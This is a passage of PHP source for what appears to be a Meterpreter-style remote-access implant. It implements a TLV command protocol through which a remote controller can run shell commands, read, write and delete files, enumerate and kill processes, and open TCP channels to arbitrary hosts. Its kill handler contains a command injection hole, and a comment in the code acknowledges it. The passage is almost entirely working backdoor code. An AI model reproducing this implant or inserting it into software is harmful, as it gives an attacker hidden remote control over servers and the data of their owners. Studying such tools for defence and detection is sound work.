#' : ''; $offset = 0; $len = strlen($data); # Upper or lower case hexidecimal $x = ($uppercase === false) ? 'x' : 'X'; # Iterate string for ($i = $j = 0; $i < $len; $i++) { # Convert to hexidecimal $hexi .= sprintf("%02$x ", ord($data[$i])); # Replace non-viewable bytes with '.' if (ord($data[$i]) >= 32) { $ascii .= ($htmloutput === true) ? htmlentities($data[$i]) : $data[$i]; } else { $ascii .= '.'; } # Add extra column spacing if ($j === 7) { $hexi .= ' '; $ascii .= ' '; } # Add row if (++$j === 16 || $i === $len - 1) { # Join the hexi / ascii output $dump .= sprintf("%04$x %-49s %s", $offset, $hexi, $ascii); # Reset vars $hexi = $ascii = ''; $offset += 16; $j = 0; # Add newline if ($i !== $len - 1) { $dump .= "\n"; } } } # Finish dump $dump .= $htmloutput === true ? '' : ''; $dump .= "\n"; # Output method if ($return === false) { echo $dump; } else { return $dump; } } # # Constants # define("PACKET_TYPE_REQUEST",0); define("PACKET_TYPE_RESPONSE",1); define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); define("ERROR_SUCCESS",0); # not defined in original C implementation define("ERROR_FAILURE",1); define("CHANNEL_CLASS_BUFFERED", 0); define("CHANNEL_CLASS_STREAM", 1); define("CHANNEL_CLASS_DATAGRAM", 2); define("CHANNEL_CLASS_POOL", 3); # # TLV Meta Types # define("TLV_META_TYPE_NONE", ( 0 )); define("TLV_META_TYPE_STRING", (1 << 16)); define("TLV_META_TYPE_UINT", (1 << 17)); define("TLV_META_TYPE_RAW", (1 << 18)); define("TLV_META_TYPE_BOOL", (1 << 19)); define("TLV_META_TYPE_COMPRESSED", (1 << 29)); define("TLV_META_TYPE_GROUP", (1 << 30)); define("TLV_META_TYPE_COMPLEX", (1 << 31)); # not defined in original define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)); # # TLV base starting points # define("TLV_RESERVED", 0); define("TLV_EXTENSIONS", 20000); define("TLV_USER", 40000); define("TLV_TEMP", 60000); # # TLV Specific Types # define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1); define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402); define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403); define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500); define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501); ## # General ## define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600); define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601); define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630); define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631); ## # Fs ## define("TLV_TYPE_DIRECTORY_PATH", TLV_META_TYPE_STRING | 1200); define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201); define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202); define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203); define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220); ## # Net ## define("TLV_TYPE_HOST_NAME", TLV_META_TYPE_STRING | 1400); define("TLV_TYPE_PORT", TLV_META_TYPE_UINT | 1401); define("TLV_TYPE_SUBNET", TLV_META_TYPE_RAW | 1420); define("TLV_TYPE_NETMASK", TLV_META_TYPE_RAW | 1421); define("TLV_TYPE_GATEWAY", TLV_META_TYPE_RAW | 1422); define("TLV_TYPE_NETWORK_ROUTE", TLV_META_TYPE_GROUP | 1423); define("TLV_TYPE_IP", TLV_META_TYPE_RAW | 1430); define("TLV_TYPE_MAC_ADDRESS", TLV_META_TYPE_RAW | 1431); define("TLV_TYPE_MAC_NAME", TLV_META_TYPE_STRING | 1432); define("TLV_TYPE_NETWORK_INTERFACE", TLV_META_TYPE_GROUP | 1433); define("TLV_TYPE_SUBNET_STRING", TLV_META_TYPE_STRING | 1440); define("TLV_TYPE_NETMASK_STRING", TLV_META_TYPE_STRING | 1441); define("TLV_TYPE_GATEWAY_STRING", TLV_META_TYPE_STRING | 1442); # Socket define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500); define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501); define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502); define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503); define("TLV_TYPE_CONNECT_RETRIES", TLV_META_TYPE_UINT | 1504); define("TLV_TYPE_SHUTDOWN_HOW", TLV_META_TYPE_UINT | 1530); ## # Sys ## define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0)); define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1)); define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2)); define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3)); # Registry define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000); define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY); define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001); define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002); define("TLV_TYPE_KEY_NAME", TLV_META_TYPE_STRING | 1003); define("TLV_TYPE_VALUE_NAME", TLV_META_TYPE_STRING | 1010); define("TLV_TYPE_VALUE_TYPE", TLV_META_TYPE_UINT | 1011); define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012); # Config define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040); define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041); define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042); define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0)); # Process define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000); define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001); define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002); define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003); define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004); define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005); define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006); define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007); define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008); define("TLV_TYPE_PID", TLV_META_TYPE_UINT | 2300); define("TLV_TYPE_PROCESS_NAME", TLV_META_TYPE_STRING | 2301); define("TLV_TYPE_PROCESS_PATH", TLV_META_TYPE_STRING | 2302); define("TLV_TYPE_PROCESS_GROUP", TLV_META_TYPE_GROUP | 2303); define("TLV_TYPE_PROCESS_FLAGS", TLV_META_TYPE_UINT | 2304); define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305); define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400); define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401); define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402); define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403); define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404); define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405); define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406); define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500); define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502); define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510); define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511); define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512); define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513); define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540); define("TLV_TYPE_REGISTER_SIZE", TLV_META_TYPE_UINT | 2541); define("TLV_TYPE_REGISTER_VALUE_32", TLV_META_TYPE_UINT | 2542); define("TLV_TYPE_REGISTER", TLV_META_TYPE_GROUP | 2550); ## # Ui ## define("TLV_TYPE_IDLE_TIME", TLV_META_TYPE_UINT | 3000); define("TLV_TYPE_KEYS_DUMP", TLV_META_TYPE_STRING | 3001); define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002); ## # Event Log ## define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000); define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001); define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002); define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003); define("TLV_TYPE_EVENT_RECORDOFFSET", TLV_META_TYPE_UINT | 4004); define("TLV_TYPE_EVENT_RECORDNUMBER", TLV_META_TYPE_UINT | 4006); define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT | 4007); define("TLV_TYPE_EVENT_TIMEWRITTEN", TLV_META_TYPE_UINT | 4008); define("TLV_TYPE_EVENT_ID", TLV_META_TYPE_UINT | 4009); define("TLV_TYPE_EVENT_TYPE", TLV_META_TYPE_UINT | 4010); define("TLV_TYPE_EVENT_CATEGORY", TLV_META_TYPE_UINT | 4011); define("TLV_TYPE_EVENT_STRING", TLV_META_TYPE_STRING | 4012); define("TLV_TYPE_EVENT_DATA", TLV_META_TYPE_RAW | 4013); ## # Power ## define("TLV_TYPE_POWER_FLAGS", TLV_META_TYPE_UINT | 4100); define("TLV_TYPE_POWER_REASON", TLV_META_TYPE_UINT | 4101); function my_cmd($cmd) { return shell_exec($cmd); } function is_windows() { return (strtoupper(substr(PHP_OS,0,3)) == "WIN"); } ## # STDAPI ## # Wrap everything in checks for existence of the new functions in case we get # eval'd twice #my_print("Evaling stdapi"); # works if (!function_exists('stdapi_fs_chdir')) { function stdapi_fs_chdir($req, &$pkt) { my_print("doing chdir"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); chdir($path_tlv['value']); return ERROR_SUCCESS; } } if (!function_exists('stdapi_fs_delete')) { function stdapi_fs_delete($req, &$pkt) { my_print("doing delete"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME); $ret = unlink($path_tlv['value']); return $ret ? ERROR_SUCCESS : ERROR_FAILURE; } } # works if (!function_exists('stdapi_fs_getwd')) { function stdapi_fs_getwd($req, &$pkt) { my_print("doing pwd"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd())); return ERROR_SUCCESS; } } # works partially, need to get the path argument to mean the same thing as in # windows if (!function_exists('stdapi_fs_ls')) { function stdapi_fs_ls($req, &$pkt) { my_print("doing ls"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); $path = $path_tlv['value']; $dir_handle = @opendir($path); if ($dir_handle) { #my_print("Doing an ls"); while ($file = readdir($dir_handle)) { if ($file != "." && $file != "..") { #my_print("Adding file $file"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file)); $st = stat($path . DIRECTORY_SEPARATOR . $file); $st_buf = ""; $st_buf .= pack("V", $st['dev']); $st_buf .= pack("v", $st['ino']); $st_buf .= pack("v", $st['mode']); $st_buf .= pack("v", $st['nlink']); $st_buf .= pack("v", $st['uid']); $st_buf .= pack("v", $st['gid']); $st_buf .= pack("v", 0); $st_buf .= pack("V", $st['rdev']); $st_buf .= pack("V", $st['size']); $st_buf .= pack("V", $st['atime']); $st_buf .= pack("V", $st['mtime']); $st_buf .= pack("V", $st['ctime']); $st_buf .= pack("V", $st['blksize']); $st_buf .= pack("V", $st['blocks']); packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); } } closedir($dir_handle); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_fs_stat')) { function stdapi_fs_stat($req, &$pkt) { my_print("doing stat"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = $path_tlv['value']; $st = stat($path); $st_buf = ""; $st_buf .= pack("V", $st['dev']); $st_buf .= pack("v", $st['ino']); $st_buf .= pack("v", $st['mode']); $st_buf .= pack("v", $st['nlink']); $st_buf .= pack("v", $st['uid']); $st_buf .= pack("v", $st['gid']); $st_buf .= pack("v", 0); $st_buf .= pack("V", $st['rdev']); $st_buf .= pack("V", $st['size']); $st_buf .= pack("V", $st['atime']); $st_buf .= pack("V", $st['mtime']); $st_buf .= pack("V", $st['ctime']); $st_buf .= pack("V", $st['blksize']); $st_buf .= pack("V", $st['blocks']); packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); } } # works if (!function_exists('stdapi_fs_delete_file')) { function stdapi_fs_delete_file($req, &$pkt) { my_print("doing delete"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $path = $path_tlv['value']; if ($path && is_file($path)) { $worked = @unlink($path); return ($worked ? ERROR_SUCCESS : ERROR_FAILURE); } else { return ERROR_FAILURE; } } } # works if (!function_exists('stdapi_sys_config_getuid')) { function stdapi_sys_config_getuid($req, &$pkt) { my_print("doing getuid"); if (is_callable('posix_getuid')) { $uid = posix_getuid(); $pwinfo = posix_getpwuid($uid); $user = $pwinfo['name'] . " ($uid)"; } else { # The posix functions aren't available, this is probably windows. Use # the functions for getting user name and uid based on file ownership # instead. $user = get_current_user() . " (" . getmyuid() . ")"; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user)); return ERROR_SUCCESS; } } # Unimplemented becuase it's unimplementable if (!function_exists('stdapi_sys_config_rev2self')) { function stdapi_sys_config_rev2self($req, &$pkt) { my_print("doing rev2self"); return ERROR_FAILURE; } } # works if (!function_exists('stdapi_sys_config_sysinfo')) { function stdapi_sys_config_sysinfo($req, &$pkt) { my_print("doing sysinfo"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n"))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname())); return ERROR_SUCCESS; } } $processes = array(); if (!function_exists('stdapi_sys_process_execute')) { function stdapi_sys_process_execute($req, &$pkt) { my_print("doing execute"); $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH); $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS); $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS); $cmd = $cmd_tlv['value']; $args = $args_tlv['value']; $flags = $flags_tlv['value']; # If there was no command specified, well, a user sending an empty command # deserves failure. my_print("Cmd: $cmd $args"); $real_cmd = $cmd ." ". $args; if (0 > strlen($cmd)) { return ERROR_FAILURE; } my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")"); if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { global $processes, $channels; my_print("Channelized"); $handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes); if ($handle === false) { return ERROR_FAILURE; } $processes[] = $handle; $channels[] = $pipes; packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, count($channels)-1)); } else { # Don't care about stdin/stdout, just run the command my_cmd($real_cmd); } return ERROR_SUCCESS; } } # Works, but not very portable. There doesn't appear to be a PHP way of # getting a list of processes, so we just shell out to ps. I need to decide # what options to send to ps for portability and for information usefulness; # also, figure out a windows option -- tasklist.exe might work, but it doesn't # exist on older versions. if (!function_exists('stdapi_sys_process_get_processes')) { function stdapi_sys_process_get_processes($req, &$pkt) { my_print("doing get_processes"); $list = array(); if (is_windows()) { # meh } else { # This command produces a line like: # 1553 root /sbin/getty -8 38400 tty1 $output = my_cmd("ps a -w -o pid,user,cmd --no-header 2>/dev/null"); $lines = explode("\n", trim($output)); foreach ($lines as $line) { array_push($list, preg_split("/\s+/", trim($line))); } } foreach ($list as $proc) { $grp = ""; $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); # Strip the pid and the user name off the front; the rest will be the # full command line array_shift($proc); array_shift($proc); $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " "))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); } return ERROR_SUCCESS; } } # works if (!function_exists('stdapi_sys_process_getpid')) { function stdapi_sys_process_getpid($req, &$pkt) { my_print("doing getpid"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid())); return ERROR_SUCCESS; } } if (!function_exists('stdapi_sys_process_kill')) { function stdapi_sys_process_kill($req, &$pkt) { # The existence of posix_kill is unlikely (it's a php compile-time option # that isn't enabled by default, but better to try it and avoid shelling # out when unnecessary. my_print("doing kill"); $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID); $pid = $pid_tlv['value']; if (is_callable('posix_kill')) { $ret = posix_kill($pid, 9); $ret = $ret ? ERROR_SUCCESS : posix_get_last_error(); if ($ret != ERROR_SUCCESS) { my_print(posix_strerror($ret)); } } else { # every rootkit should have command injection vulnerabilities if ("foo" == my_cmd("kill -9 $pid && echo foo")) { $ret = ERROR_SUCCESS; } else { $ret = ERROR_FAILURE; } } return $ret; } } if (!function_exists('stdapi_net_socket_tcp_shutdown')) { function stdapi_net_socket_tcp_shutdown($req, &$pkt) { global $channels; $cid_tlv = packet_get_tlv(TLV_TYPE_CHANNEL_ID, $req); $c = get_channel_by_id($cid_tlv['value']); if ($c && $c['type'] == 'socket') { @socket_shutdown($c[0], $how); $ret = ERROR_SUCCESS; } else { $ret = ERROR_FAILURE; } return $ret; } } # END STDAPI ## # Channel Helper Functions ## # global list of channels $channels = array(); function channel_create_stdapi_fs_file($req, &$pkt) { global $channels; $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE); my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}"); if (!$mode_tlv) { $mode_tlv = array('value' => 'rb'); } $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']); if (is_resource($fd)) { register_stream($fd); array_push($channels, array(0 => $fd, 1 => $fd, 'type' => 'stream')); $id = count($channels) - 1; my_print("Created new channel $fd, with id $id"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); return ERROR_SUCCESS; } else { my_print("Failed to open"); } return ERROR_FAILURE; } function channel_create_stdapi_net_tcp_client($req, &$pkt) { global $channels, $readers; $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES); if (is_callable('socket_create')) { $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); $res = socket_connect($sock, $peer_host_tlv['value'], $peer_port_tlv['value']); if (!$res) { return ERROR_FAILURE; } register_socket($sock); } else { $sock = fsockopen($peer_host_tlv['value'], $peer_port_tlv['value']); if (!$sock) { return ERROR_FAILURE; } register_stream($sock); } # # If we got here, the connection worked, respond with the new channel ID # array_push($channels, array(0 => $sock, 1 => $sock, 'type' => get_rtype($sock))); $id = count($channels) - 1; my_print("Created new channel $sock, with id $id"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); array_push($readers, $sock); return ERROR_SUCCESS; } ## # Worker functions ## function core_channel_open($req, &$pkt) { $type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE); my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do"); $handler = "channel_create_". $type_tlv['value']; if ($type_tlv['value'] && is_callable($handler)) { $ret = $handler($req, $pkt); } else { my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =("); #$ret = channel_create_generic($req, $pkt); $ret = ERROR_FAILURE; } return $ret; } function core_channel_eof($req, &$pkt) { my_print("doing channel eof"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $c = get_channel_by_id($chan_tlv['value']); if ($c) { if (@feof($c[1])) { packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1)); } else { packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0)); } return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } # Works for streams that work with fread # TODO: Genericize me function core_channel_read($req, &$pkt) { my_print("doing channel read"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); $id = $chan_tlv['value']; $len = $len_tlv['value']; $data = channel_read($id, $len); if ($data === false) { $res = ERROR_FAILURE; } else { packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); $res = ERROR_SUCCESS; } return $res; } # Works for streams that work with fwrite # TODO: Genericize me function core_channel_write($req, &$pkt) { my_print("doing channel write"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA); $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); $id = $chan_tlv['value']; $data = $data_tlv['value']; $len = $len_tlv['value']; $wrote = channel_write($id, $data, $len); if ($wrote === false) { return ERROR_FAILURE; } else { packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote)); return ERROR_SUCCESS; } } function core_channel_close($req, &$pkt) { # XXX remove the closed channel from $readers my_print("doing channel close"); $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); $id = $chan_tlv['value']; $c = get_channel_by_id($id); if ($c) { # We found a channel, close its stdin/stdout/stderr for($i = 0; $i < 3; $i++) { my_print("closing channel fd $i, {$c[$i]}"); if (array_key_exists($i, $c) && is_resource($c[$i])) { fclose($c[$i]); } } return ERROR_SUCCESS; } return ERROR_FAILURE; } # Libraries are sent as a zlib-compressed blob. Unfortunately, zlib support is # not default in non-Windows versions of PHP or anything before 4.3.0 so we # need some way to indicate to the client that we can't handle compressed # blobs. Until then, don't actually implement loadlib yet. Maybe someday # we'll have ext_server_stdapi.php or whatever. For now just return success. function core_loadlib($req, &$pkt) { my_print("doing core_loadlib (no-op)"); #$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA); return ERROR_SUCCESS; } ## # Channel Helper Functions ## $channels = array(); function get_channel_id_from_socket($sock) { global $channels; #my_print("looking for channel from sock $sock"); for ($i = 0; $i < count($channels); $i++) { if ($channels[$i][0] == $sock) { return $i; } } return false; } function get_channel_by_id($chan_id) { global $channels; my_print("looking for channel $chan_id"); if (array_key_exists($chan_id, $channels)) { return $channels[$chan_id]; } else { return false; } } # Write data to the channel's stdin function channel_write($chan_id, $data) { $c = get_channel_by_id($chan_id); if ($c && is_resource($c[0])) { if ($c['type'] == 'socket') { return socket_write($c[0], $data, strlen($data)); } else { return fwrite($c[0], $data, strlen($data)); } } else { return false; } } # Read from the channel's stdout function channel_read($chan_id, $len) { $c = get_channel_by_id($chan_id); if ($c && is_resource($c[1])) { if ($c['type'] == 'socket') { $result = socket_read($c[1], $len); } else { $result = fread($c[1], $len); } return $result; } else { return false; } } # XXX Unimplemented function channel_interact($chan_id) { $c = get_channel_by_id($chan_id); if ($c) { return false; } else { return false; } } ## # TLV Helper Functions ## function handle_dead_socket_channel($sock) { $cid = get_channel_id_from_socket($sock); my_print("Handling dead socket: {$sock}"); $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close')); # XXX Make this random $req_id = str_repeat("A",32); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function handle_socket_read_channel($sock, $data) { $cid = get_channel_id_from_socket($sock); my_print("Handling socket data: {$data}"); $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write')); # XXX Make this random $req_id = str_repeat("A",32); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data))); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_response($req) { $pkt = pack("N", PACKET_TYPE_RESPONSE); $method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD); my_print("method is {$method_tlv['value']}"); packet_add_tlv($pkt, $method_tlv); $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID); packet_add_tlv($pkt, $reqid_tlv); if (is_callable($method_tlv['value'])) { $result = $method_tlv['value']($req, $pkt); } else { my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure"); $result = ERROR_FAILURE; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result)); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_tlv($type, $val) { return array( 'type' => $type, 'value' => $val ); } function tlv_pack($tlv) { $ret = ""; #my_print("Creating a tlv of type: {$tlv['type']}"); if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { # PHP's pack appears to be busted for chars, $ret = pack("NN", 8 + 1, $tlv['type']); $ret .= $tlv['value'] ? "\x01" : "\x00"; } elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { # treat groups the same as raw $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) { # treat complex the same as raw $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } else { my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf"); } return $ret; } function packet_add_tlv(&$pkt, $tlv) { $pkt .= tlv_pack($tlv); } function packet_get_tlv($pkt, $type) { my_print("Looking for a tlv of type $type"); # Start at offset 8 to skip past the packet header $offset = 8; while ($offset < strlen($pkt)) { $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 